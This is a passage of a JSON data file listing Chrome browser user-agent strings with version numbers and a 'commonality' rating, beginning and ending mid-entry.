(KHTML, like Gecko) Chrome\\/40.0.2214.109 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; LG-M153 Build\\/MXB48T) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T520 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G386T1 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.6 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_1 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/63.0.3239.73 Mobile\\/15C153 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.64 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25.2\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.2.0.0 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 7262.57.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.137 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; LG-M153 Build\\/MXB48T) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; Hol-U19 Build\\/HUAWEIHol-U19) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; C6730 Build\\/KVT49L) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26.2\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.2.2.0 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; BLU STUDIO 5.0 C Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.83 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.52 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; QMV7A Build\\/JDQ39) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; HUAWEI VNS-L21 Build\\/HUAWEIVNS-L21; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/59.0.3071.125 Mobile Safari\\/537.36 [FB_IAB\\/FB4A;FBAV\\/130.0.0.45.70;]\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.56 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.114 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 9901.77.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) CriOS\\/61.0.3163.73 Mobile\\/15A372 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SPH-L720 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9592.71.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LGMS323 Build\\/KOT49I.MS32310b) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.96 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.21 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.125 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/534.24 (KHTML, like Gecko) Chrome\\/11.0.696.77 Large Screen Safari\\/534.24 GoogleTV\\/092754\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/64.0.3282.112 Mobile\\/15D100 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 8872.76.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.105 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2683.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.1; Nexus 7 Build\\/JOP40D) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.166  Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) MxNitro\\/1.0.1.3000 Chrome\\/35.0.1849.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; Z970 Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.105 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG-SM-N900A Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG SGH-T399 Build\\/JDQ39) AppleWebKit\\/535.19 (KHTML, like Gecko) Version\\/1.0 Chrome\\/18.0.1025.308 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; en-us; SM-S975L Build\\/JSS15J) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/534.24 (KHTML, like Gecko) Chrome\\/33.0.0.0 Safari\\/534.24\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3053.4 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/27.0.1453.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; F3211 Build\\/36.1.A.0.182) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.116 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) CriOS\\/56.0.2924.79 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 8530.96.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.154 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"'Mozilla\\/5.0 (Linux; Android 7.1.2; Moto G Build\\/N2G47O) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3095.0 Mobile Safari\\/537.36'\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.83 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.101 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.26 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-gb; SAMSUNG SM-T230 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) CriOS\\/57.0.2987.100 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; 7040N Build\\/KVT49L) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) CriOS\\/54.0.2840.91 Mobile\\/14B100 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.45 Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.152 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Windows NT 6.1; WOW64) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SM-G900F Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.93 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; en-us; SAMSUNG SM-N900V Build\\/JSS15J) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Focus\\/2.0.1 Chrome\\/55.0.2883.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/21.0.1180.79 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.56 Safari\\/536.5\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; LG-MS770 Build\\/IMM76I) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.166 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.104 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG-SM-G900A Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.6 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G935F Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; Moto E (4) Build\\/NCQ26.69-46) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; 5017B Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.93 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/28.0.1469.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.34 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T330NU Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) CriOS\\/29.0.1547.11 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.67 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) 